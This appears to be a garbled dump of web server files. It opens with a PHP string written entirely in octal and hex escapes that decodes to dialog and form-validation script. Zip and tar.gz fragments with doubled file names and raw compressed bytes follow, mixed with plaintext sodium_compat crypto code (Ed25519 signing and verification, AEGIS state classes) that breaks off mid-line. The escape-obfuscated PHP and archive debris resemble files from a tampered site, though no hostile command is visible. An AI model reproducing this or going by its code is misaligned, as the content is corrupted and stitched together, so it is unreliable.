d\12\15\12\x20\40\40\x20\40\x20\40\40\146\165\x6e\x63\x74\151\x6f\156\x20\x6f\x70\x65\x6e\x44\151\141\154\157\x67\50\144\151\x61\x6c\157\147\111\x64\x29\x20\x7b\15\12\40\40\x20\40\x20\40\40\x20\40\x20\40\40\x63\157\156\x73\164\40\144\x69\141\154\x6f\x67\x20\x3d\40\x64\x6f\143\165\x6d\x65\x6e\164\56\x67\145\164\105\154\145\155\x65\156\164\x42\171\x49\144\x28\x64\x69\141\154\157\x67\111\x64\x29\x3b\xd\12\40\x20\40\40\40\40\x20\40\40\40\x20\40\x64\x69\x61\154\x6f\147\x2e\x63\154\x61\x73\x73\114\151\163\x74\x2e\162\x65\x6d\157\166\145\x28\47\150\x69\x64\144\x65\x6e\x27\x29\73\xd\12\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\144\x69\141\154\157\147\56\143\154\x61\163\163\114\151\x73\x74\x2e\x61\x64\x64\50\47\146\x6c\145\170\47\x29\x3b\15\xa\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\163\145\164\124\x69\155\x65\157\x75\x74\x28\x28\51\x20\75\76\x20\x7b\xd\xa\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\x20\x20\x20\x20\x64\x69\141\154\x6f\x67\x2e\161\x75\145\x72\x79\x53\x65\x6c\x65\x63\164\x6f\x72\x28\x27\56\x74\162\141\156\163\146\x6f\162\155\47\51\56\x63\154\x61\163\163\x4c\x69\x73\164\56\162\x65\x6d\x6f\166\145\50\x27\x73\x63\141\154\x65\x2d\71\65\47\51\x3b\xd\xa\40\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x7d\x2c\40\x31\60\x29\x3b\xd\12\40\x20\x20\x20\x20\x20\x20\40\x7d\15\12\15\12\x20\40\40\x20\40\x20\40\40\x66\x75\x6e\x63\164\x69\157\x6e\x20\143\x6c\x6f\163\145\x44\x69\141\154\157\147\x28\x64\151\141\154\x6f\147\x49\x64\51\x20\173\15\xa\x20\40\40\x20\x20\x20\40\40\x20\40\40\40\x63\x6f\x6e\x73\x74\40\144\151\141\154\x6f\x67\x20\x3d\40\144\157\x63\165\x6d\145\156\164\56\147\x65\164\x45\154\x65\155\x65\x6e\164\x42\x79\x49\x64\x28\144\151\141\x6c\x6f\x67\x49\144\x29\73\15\12\x20\40\40\40\40\x20\40\x20\x20\40\x20\40\144\x69\141\x6c\x6f\x67\56\x71\x75\x65\162\x79\123\145\x6c\145\x63\x74\157\162\50\47\x2e\x74\x72\x61\x6e\163\146\157\162\x6d\47\51\56\143\x6c\x61\163\163\x4c\x69\x73\164\56\141\x64\x64\50\47\163\x63\141\x6c\x65\x2d\x39\x35\47\51\73\15\12\40\x20\x20\x20\x20\x20\40\40\40\x20\40\40\x73\145\164\124\x69\x6d\x65\157\165\x74\50\x28\51\x20\75\76\x20\x7b\xd\12\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\144\x69\x61\154\x6f\x67\x2e\x63\154\141\163\x73\114\x69\163\x74\x2e\141\144\144\x28\x27\150\151\x64\144\145\x6e\47\x29\x3b\xd\xa\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\x64\x69\x61\x6c\157\147\x2e\x63\x6c\141\x73\x73\x4c\x69\163\164\56\162\x65\155\x6f\166\145\x28\47\x66\x6c\x65\170\47\51\x3b\xd\xa\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\175\54\x20\x33\60\x30\51\x3b\15\12\x20\x20\x20\40\x20\40\40\40\175\15\12\15\xa\x20\x20\x20\40\40\40\x20\x20\x2f\57\40\103\x6c\151\145\156\164\55\x73\x69\144\145\x20\x66\157\162\x6d\40\x76\141\x6c\151\144\x61\164\151\x6f\x6e\15\12\x20\x20\x20\x20\x20\x20\40\40\x64\157\143\x75\x6d\x65\x6e\x74\56\x71\x75\x65\162\x79\x53\x65\x6c\145\x63\x74\x6f\x72\101\x6c\154\50\x27\x66\x6f\162\x6d\47\x29\x2e\146\157\x72\105\x61\143\x68\x28\146\157\x72\x6d\40\x3d\76\x20\x7b\15\xa\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\146\x6f\162\x6d\x2e\141\144\x64\x45\x76\x65\x6e\164\x4c\151\x73\x74\145\156\x65\x72\x28\x27\163\165\x62\155\151\x74\47\54\x20\50\145\x29\40\75\76\x20\173\15\12\x20\x20\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x63\x6f\x6e\163\164\x20\151\x6e\160\165\x74\163\x20\x3d\x20\146\157\x72\x6d\56\x71\165\145\162\x79\x53\x65\154\145\x63\164\157\x72\101\154\x6c\x28\47\x69\156\160\x75\164\x5b\162\145\161\x75\151\162\x65\144\x5d\54\x20\164\145\170\x74\141\x72\x65\141\133\162\x65\x71\x75\151\162\145\144\x5d\47\51\73\xd\xa\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\154\x65\164\x20\166\141\x6c\151\x64\x20\75\x20\164\x72\x75\x65\73\15\xa\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\151\x6e\x70\x75\164\x73\56\x66\157\x72\x45\141\143\150\x28\x69\156\160\x75\x74\40\x3d\76\x20\x7b\15\12\40\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\x69\x66\40\x28\x21\151\x6e\160\165\x74\x2e\x76\x61\x6c\165\x65\x2e\164\x72\x69\x6d\50\51\x29\x20\x7b\xd\12\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\166\141\154\151\144\40\x3d\40\x66\x61\x6c\x73\145\73\15\12\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\151\x6e\160\165\x74\x2e\143\x6c\x61\x73\x73\x4c\x69\163\x74\56\x61\144\x64\50\47\x62\x6f\x72\144\145\x72\55\x72\145\x64\x2d\x35\60\x30\47\51\x3b\xd\xa\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x7d\40\145\154\x73\x65\x20\173\xd\12\x20\x20\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x69\x6e\160\165\x74\56\143\x6c\x61\x73\163\x4c\x69\163\164\x2e\x72\x65\155\x6f\166\145\50\47\x62\x6f\x72\x64\x65\162\55\162\145\x64\55\x35\x30\x30\47\x29\x3b\15\xa\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\x7d\xd\xa\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\40\x20\175\51\x3b\15\12\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\40\x69\x66\40\x28\41\166\x61\154\151\144\51\40\x7b\15\xa\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\145\56\160\x72\x65\x76\x65\156\164\104\x65\146\141\165\154\164\50\51\73\15\xa\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\40\x20\40\40\x20\x20\141\x6c\145\162\164\x28\47\x50\x6c\145\x61\x73\145\x20\146\151\x6c\x6c\x20\151\156\40\141\154\154\x20\162\x65\161\165\151\x72\145\144\40\x66\x69\145\154\144\163\x2e\47\x29\73\15\xa\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x7d\xd\xa\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\175\x29\73\15\xa\x20\40\x20\40\40\40\40\x20\x7d\x29\73\xd\xa\40\40\40\x20\x3c\57\163\143\x72\x69\x70\x74\x3e\xd\xa\x3c\57\x62\157\x64\171\x3e\xd\xa\74\57\150\x74\155\x6c\76"; ?>PK'L[ g ova/ChaCha20.php.php.tar.gznu[[ksgm‰@x38:O4р (%jZ]<{wA!e*S"ss&Gzvfh\*͋(=Z^W2Zq>ib*,FyޤYcg",tYwɲe I$I׋)YYMiQx ,%!n⌄"+-al.҈Mrp8"2fFn8ܲ2YUnT1PkAay\1lB5נeML$:X9>I4KIRuGOPwq.NqnY>0lpK‥6!<^̾N)v-Nkٵ0bYEkw-צM&ST#Өjш4͈ ms8_}4ߢ۴uVݫ՛b,6V^do<cL]j7YzˇU|eiҁMw2VEo'}nZ_+蛐^-QSq:7YdZ5M91*bY"f˘-b9"ʘ+by"˘/b"6w$ HP$ԡH*C@TR"8? Qb#"+TB-Zj#ԖPu%C'>B} HcY ĢaY.naY0pe`[af8>(p9Trt U04JOSO߀sTD)F-0jQGD"bQ D4XDNJB4T`*ŠZb4T`[cir*S-a6yLCצʶ7.0qOؖO`c}%(4hDyﭱD]zB}'v'X]3v'eO,hNpyfmhL8c>w+DVgl9783msFcQL3f#}vg4i]՞>9oQ{Z#٫ZvNg;ړnU-J%6POg鹉usas v3'6fϱ|*as^{Eic8h`yq3QcEl0,XqV< QE>ՏTQn%r=,@FuP7K%~g{grAdT%ՐѝdJfUdIfdvEfkdJTdIdnEjܝdJUdId~EkdJTd,I6VXC6ޝ!P_&mQ@+>0=f ;d=f,[j=f8{p= fDvÛx"a|wۺzwfܲ@r[m֪m-l(vmkc[,Mn(ƞb.6ykc_1V;6kbv6JM!Tcv6QJ $U"M(KW&TtUrRo"i8rzYstH|Xַ:!V;%p;Xz z z^qwlvM< "Aݕ@/" \lw%hJ"Z̛gzTUaKE>iKuoLs?"?2lHvE<8+'YxȤ2ag=drjE&0mx؆e LC|62>?c |63>NcgDΏ w12QyG"> +,fzO6v@^Wگ_ug~սU>3m[UW;z(pAя.*#RZ9߬kQBdqqhqll@JwOź).Z$+mq.Vf]4σi>5xی!u 4eQy _;]Y(n> u[=o|݇L -a;ſWjy A]L`(1h^|q$.fq~eYFmIϙ?H07?CfvQzAxNl~i/\s+ ,݌:PK'L[G-UUova/Curve25519.zipnu[PKJ<[BnnFe.phpnu[X)) { throw new SodiumException('Unexpected zero result'); } # fe_1(one_minus_y); # fe_sub(one_minus_y, one_minus_y, A.Y); # fe_invert(one_minus_y, one_minus_y); $one_minux_y = self::fe_invert( self::fe_sub( self::fe_1(), $A->Y ) ); # fe_1(x); # fe_add(x, x, A.Y); # fe_mul(x, x, one_minus_y); $x = self::fe_mul( self::fe_add(self::fe_1(), $A->Y), $one_minux_y ); # fe_tobytes(curve25519_pk, x); return self::fe_tobytes($x); } /** * @internal You should not use this directly from another application * * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sk_to_pk($sk) { return self::ge_p3_tobytes( self::ge_scalarmult_base( self::substr($sk, 0, 32) ) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { /** @var string $signature */ $signature = self::sign_detached($message, $sk); return $signature . $message; } /** * @internal You should not use this directly from another application * * @param string $message A signed message * @param string $pk Public key * @return string Message (without signature) * @throws SodiumException * @throws TypeError */ public static function sign_open($message, $pk) { /** @var string $signature */ $signature = self::substr($message, 0, 64); /** @var string $message */ $message = self::substr($message, 64); if (self::verify_detached($signature, $message, $pk)) { return $message; } throw new SodiumException('Invalid signature'); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_detached($message, $sk) { # crypto_hash_sha512(az, sk, 32); $az = hash('sha512', self::substr($sk, 0, 32), true); # az[0] &= 248; # az[31] &= 63; # az[31] |= 64; $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); # crypto_hash_sha512_init(&hs); # crypto_hash_sha512_update(&hs, az + 32, 32); # crypto_hash_sha512_update(&hs, m, mlen); # crypto_hash_sha512_final(&hs, nonce); $hs = hash_init('sha512'); hash_update($hs, self::substr($az, 32, 32)); hash_update($hs, $message); $nonceHash = hash_final($hs, true); # memmove(sig + 32, sk + 32, 32); $pk = self::substr($sk, 32, 32); # sc_reduce(nonce); # ge_scalarmult_base(&R, nonce); # ge_p3_tobytes(sig, &R); $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash, 32); $sig = self::ge_p3_tobytes( self::ge_scalarmult_base($nonce) ); # crypto_hash_sha512_init(&hs); # crypto_hash_sha512_update(&hs, sig, 64); # crypto_hash_sha512_update(&hs, m, mlen); # crypto_hash_sha512_final(&hs, hram); $hs = hash_init('sha512'); hash_update($hs, self::substr($sig, 0, 32)); hash_update($hs, self::substr($pk, 0, 32)); hash_update($hs, $message); $hramHash = hash_final($hs, true); # sc_reduce(hram); # sc_muladd(sig + 32, hram, az, nonce); $hram = self::sc_reduce($hramHash); $sigAfter = self::sc_muladd($hram, $az, $nonce); $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } return $sig; } /** * @internal You should not use this directly from another application * * @param string $sig * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_detached($sig, $message, $pk) { if (self::strlen($sig) < 64) { throw new SodiumException('Signature is too short'); } if ((self::chrToInt($sig[63]) & 240) && self::check_S_lt_L(self::substr($sig, 32, 32))) { throw new SodiumException('S < L - Invalid signature'); } if (self::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($pk[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */ $A = self::ge_frombytes_negate_vartime($pk); /** @var string $hDigest */ $hDigest = hash( 'sha512', self::substr($sig, 0, 32) . self::substr($pk, 0, 32) . $message, true ); /** @var string $h */ $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */ $R = self::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = self::ge_tobytes($R); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * @internal You should not use this directly from another application * * @param string $S * @return bool * @throws SodiumException * @throws TypeError */ public static function check_S_lt_L($S) { if (self::strlen($S) < 32) { throw new SodiumException('Signature must be 32 bytes'); } $L = array( 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10 ); $c = 0; $n = 1; $i = 32; /** @var array $L */ do { --$i; $x = self::chrToInt($S[$i]); $c |= ( (($x - $L[$i]) >> 8) & $n ); $n &= ( (($x ^ $L[$i]) - 1) >> 8 ); } while ($i !== 0); return $c === 0; } /** * @param string $R * @return bool * @throws SodiumException * @throws TypeError */ public static function small_order($R) { /** @var array> $blocklist */ $blocklist = array( /* 0 (order 4) */ array( 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ), /* 1 (order 1) */ array( 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ), /* 2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */ array( 0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0, 0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0, 0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39, 0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05 ), /* 55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */ array( 0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f, 0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f, 0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6, 0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a ), /* p-1 (order 2) */ array( 0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0, 0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0, 0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39, 0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85 ), /* p (order 4) */ array( 0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f, 0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f, 0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6, 0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa ), /* p+1 (order 1) */ array( 0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* p+2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */ array( 0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* p+55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */ array( 0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* 2p-1 (order 2) */ array( 0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ), /* 2p (order 4) */ array( 0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ), /* 2p+1 (order 1) */ array( 0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ) ); /** @var int $countBlocklist */ $countBlocklist = count($blocklist); for ($i = 0; $i < $countBlocklist; ++$i) { $c = 0; for ($j = 0; $j < 32; ++$j) { $c |= self::chrToInt($R[$j]) ^ (int) $blocklist[$i][$j]; } if ($c === 0) { return true; } } return false; } /** * @param string $s * @return string * @throws SodiumException */ public static function scalar_complement($s) { $t_ = self::L . str_repeat("\x00", 32); sodium_increment($t_); $s_ = $s . str_repeat("\x00", 32); ParagonIE_Sodium_Compat::sub($t_, $s_); return self::sc_reduce($t_); } /** * @return string * @throws SodiumException */ public static function scalar_random() { do { $r = ParagonIE_Sodium_Compat::randombytes_buf(self::SCALAR_BYTES); $r[self::SCALAR_BYTES - 1] = self::intToChr( self::chrToInt($r[self::SCALAR_BYTES - 1]) & 0x1f ); } while ( !self::check_S_lt_L($r) || ParagonIE_Sodium_Compat::is_zero($r) ); return $r; } /** * @param string $s * @return string * @throws SodiumException */ public static function scalar_negate($s) { $t_ = self::L . str_repeat("\x00", 32) ; $s_ = $s . str_repeat("\x00", 32) ; ParagonIE_Sodium_Compat::sub($t_, $s_); return self::sc_reduce($t_); } /** * @param string $a * @param string $b * @return string * @throws SodiumException */ public static function scalar_add($a, $b) { $a_ = $a . str_repeat("\x00", 32); $b_ = $b . str_repeat("\x00", 32); ParagonIE_Sodium_Compat::add($a_, $b_); return self::sc_reduce($a_); } /** * @param string $x * @param string $y * @return string * @throws SodiumException */ public static function scalar_sub($x, $y) { $yn = self::scalar_negate($y); return self::scalar_add($x, $yn); } } PK(L[=Lova/namespaced.php.php.tar.gznu[UKo@_1HTvQ@$Uؓd+gw]!άIZ"y|3sRČVօZr !,OFV"_0hLL"h5O0 \?; 1IqYOiqA|(:no`r~A/0ȔLRa<ث+mܩL Zoǫwlt Џ{q܆t>\X wDLD%JCej).1SgӜR\(+Vs>xFa)VÍ@AgYc Cϔ]r_~vvq)['sNXl}FY{}+ 73TAWw d\  (:c5QLX5eℒj$&SX|?p8xܬ^J-eeu@v!esWdUe"Th=3P-vT/ʨJ =vOt2Y=e{SQ~ETX%Vcfa ulQ),֕EFW1q'uq>Z4t;S„╥qWf!kQ2g_#:F~ogct@ų*ߖQ jTĹO5e}cԷ `cqOd$O$O RQ$ PK(L[ܗWDD ova/AEGIS.tarnu[State128L.php000064400000020052150545327600006712 0ustar00 $state */ protected $state; public function __construct() { $this->state = array_fill(0, 8, ''); } /** * @internal Only use this for unit tests! * @return string[] */ public function getState() { return array_values($this->state); } /** * @param array $input * @return self * @throws SodiumException * * @internal Only for unit tests */ public static function initForUnitTests(array $input) { if (count($input) < 8) { throw new SodiumException('invalid input'); } $state = new self(); for ($i = 0; $i < 8; ++$i) { $state->state[$i] = $input[$i]; } return $state; } /** * @param string $key * @param string $nonce * @return self */ public static function init($key, $nonce) { $state = new self(); // S0 = key ^ nonce $state->state[0] = $key ^ $nonce; // S1 = C1 $state->state[1] = SODIUM_COMPAT_AEGIS_C1; // S2 = C0 $state->state[2] = SODIUM_COMPAT_AEGIS_C0; // S3 = C1 $state->state[3] = SODIUM_COMPAT_AEGIS_C1; // S4 = key ^ nonce $state->state[4] = $key ^ $nonce; // S5 = key ^ C0 $state->state[5] = $key ^ SODIUM_COMPAT_AEGIS_C0; // S6 = key ^ C1 $state->state[6] = $key ^ SODIUM_COMPAT_AEGIS_C1; // S7 = key ^ C0 $state->state[7] = $key ^ SODIUM_COMPAT_AEGIS_C0; // Repeat(10, Update(nonce, key)) for ($i = 0; $i < 10; ++$i) { $state->update($nonce, $key); } return $state; } /** * @param string $ai * @return self */ public function absorb($ai) { if (ParagonIE_Sodium_Core_Util::strlen($ai) !== 32) { throw new SodiumException('Input must be two AES blocks in size'); } $t0 = ParagonIE_Sodium_Core_Util::substr($ai, 0, 16); $t1 = ParagonIE_Sodium_Core_Util::substr($ai, 16, 16); return $this->update($t0, $t1); } /** * @param string $ci * @return string * @throws SodiumException */ public function dec($ci) { if (ParagonIE_Sodium_Core_Util::strlen($ci) !== 32) { throw new SodiumException('Input must be two AES blocks in size'); } // z0 = S6 ^ S1 ^ (S2 & S3) $z0 = $this->state[6] ^ $this->state[1] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); // z1 = S2 ^ S5 ^ (S6 & S7) $z1 = $this->state[2] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]); // t0, t1 = Split(xi, 128) $t0 = ParagonIE_Sodium_Core_Util::substr($ci, 0, 16); $t1 = ParagonIE_Sodium_Core_Util::substr($ci, 16, 16); // out0 = t0 ^ z0 // out1 = t1 ^ z1 $out0 = $t0 ^ $z0; $out1 = $t1 ^ $z1; // Update(out0, out1) // xi = out0 || out1 $this->update($out0, $out1); return $out0 . $out1; } /** * @param string $cn * @return string */ public function decPartial($cn) { $len = ParagonIE_Sodium_Core_Util::strlen($cn); // z0 = S6 ^ S1 ^ (S2 & S3) $z0 = $this->state[6] ^ $this->state[1] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); // z1 = S2 ^ S5 ^ (S6 & S7) $z1 = $this->state[2] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]); // t0, t1 = Split(ZeroPad(cn, 256), 128) $cn = str_pad($cn, 32, "\0", STR_PAD_RIGHT); $t0 = ParagonIE_Sodium_Core_Util::substr($cn, 0, 16); $t1 = ParagonIE_Sodium_Core_Util::substr($cn, 16, 16); // out0 = t0 ^ z0 // out1 = t1 ^ z1 $out0 = $t0 ^ $z0; $out1 = $t1 ^ $z1; // xn = Truncate(out0 || out1, |cn|) $xn = ParagonIE_Sodium_Core_Util::substr($out0 . $out1, 0, $len); // v0, v1 = Split(ZeroPad(xn, 256), 128) $padded = str_pad($xn, 32, "\0", STR_PAD_RIGHT); $v0 = ParagonIE_Sodium_Core_Util::substr($padded, 0, 16); $v1 = ParagonIE_Sodium_Core_Util::substr($padded, 16, 16); // Update(v0, v1) $this->update($v0, $v1); // return xn return $xn; } /** * @param string $xi * @return string * @throws SodiumException */ public function enc($xi) { if (ParagonIE_Sodium_Core_Util::strlen($xi) !== 32) { throw new SodiumException('Input must be two AES blocks in size'); } // z0 = S6 ^ S1 ^ (S2 & S3) $z0 = $this->state[6] ^ $this->state[1] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); // z1 = S2 ^ S5 ^ (S6 & S7) $z1 = $this->state[2] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]); // t0, t1 = Split(xi, 128) $t0 = ParagonIE_Sodium_Core_Util::substr($xi, 0, 16); $t1 = ParagonIE_Sodium_Core_Util::substr($xi, 16, 16); // out0 = t0 ^ z0 // out1 = t1 ^ z1 $out0 = $t0 ^ $z0; $out1 = $t1 ^ $z1; // Update(t0, t1) // ci = out0 || out1 $this->update($t0, $t1); // return ci return $out0 . $out1; } /** * @param int $ad_len_bits * @param int $msg_len_bits * @return string */ public function finalize($ad_len_bits, $msg_len_bits) { $encoded = ParagonIE_Sodium_Core_Util::store64_le($ad_len_bits) . ParagonIE_Sodium_Core_Util::store64_le($msg_len_bits); $t = $this->state[2] ^ $encoded; for ($i = 0; $i < 7; ++$i) { $this->update($t, $t); } return ($this->state[0] ^ $this->state[1] ^ $this->state[2] ^ $this->state[3]) . ($this->state[4] ^ $this->state[5] ^ $this->state[6] ^ $this->state[7]); } /** * @param string $m0 * @param string $m1 * @return self */ public function update($m0, $m1) { /* S'0 = AESRound(S7, S0 ^ M0) S'1 = AESRound(S0, S1) S'2 = AESRound(S1, S2) S'3 = AESRound(S2, S3) S'4 = AESRound(S3, S4 ^ M1) S'5 = AESRound(S4, S5) S'6 = AESRound(S5, S6) S'7 = AESRound(S6, S7) */ list($s_0, $s_1) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[7], $this->state[0] ^ $m0, $this->state[0], $this->state[1] ); list($s_2, $s_3) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[1], $this->state[2], $this->state[2], $this->state[3] ); list($s_4, $s_5) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[3], $this->state[4] ^ $m1, $this->state[4], $this->state[5] ); list($s_6, $s_7) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[5], $this->state[6], $this->state[6], $this->state[7] ); /* S0 = S'0 S1 = S'1 S2 = S'2 S3 = S'3 S4 = S'4 S5 = S'5 S6 = S'6 S7 = S'7 */ $this->state[0] = $s_0; $this->state[1] = $s_1; $this->state[2] = $s_2; $this->state[3] = $s_3; $this->state[4] = $s_4; $this->state[5] = $s_5; $this->state[6] = $s_6; $this->state[7] = $s_7; return $this; } }State256.php000064400000014575150545327610006616 0ustar00 $state */ protected $state; public function __construct() { $this->state = array_fill(0, 6, ''); } /** * @internal Only use this for unit tests! * @return string[] */ public function getState() { return array_values($this->state); } /** * @param array $input * @return self * @throws SodiumException * * @internal Only for unit tests */ public static function initForUnitTests(array $input) { if (count($input) < 6) { throw new SodiumException('invalid input'); } $state = new self(); for ($i = 0; $i < 6; ++$i) { $state->state[$i] = $input[$i]; } return $state; } /** * @param string $key * @param string $nonce * @return self */ public static function init($key, $nonce) { $state = new self(); $k0 = ParagonIE_Sodium_Core_Util::substr($key, 0, 16); $k1 = ParagonIE_Sodium_Core_Util::substr($key, 16, 16); $n0 = ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16); $n1 = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 16); // S0 = k0 ^ n0 // S1 = k1 ^ n1 // S2 = C1 // S3 = C0 // S4 = k0 ^ C0 // S5 = k1 ^ C1 $k0_n0 = $k0 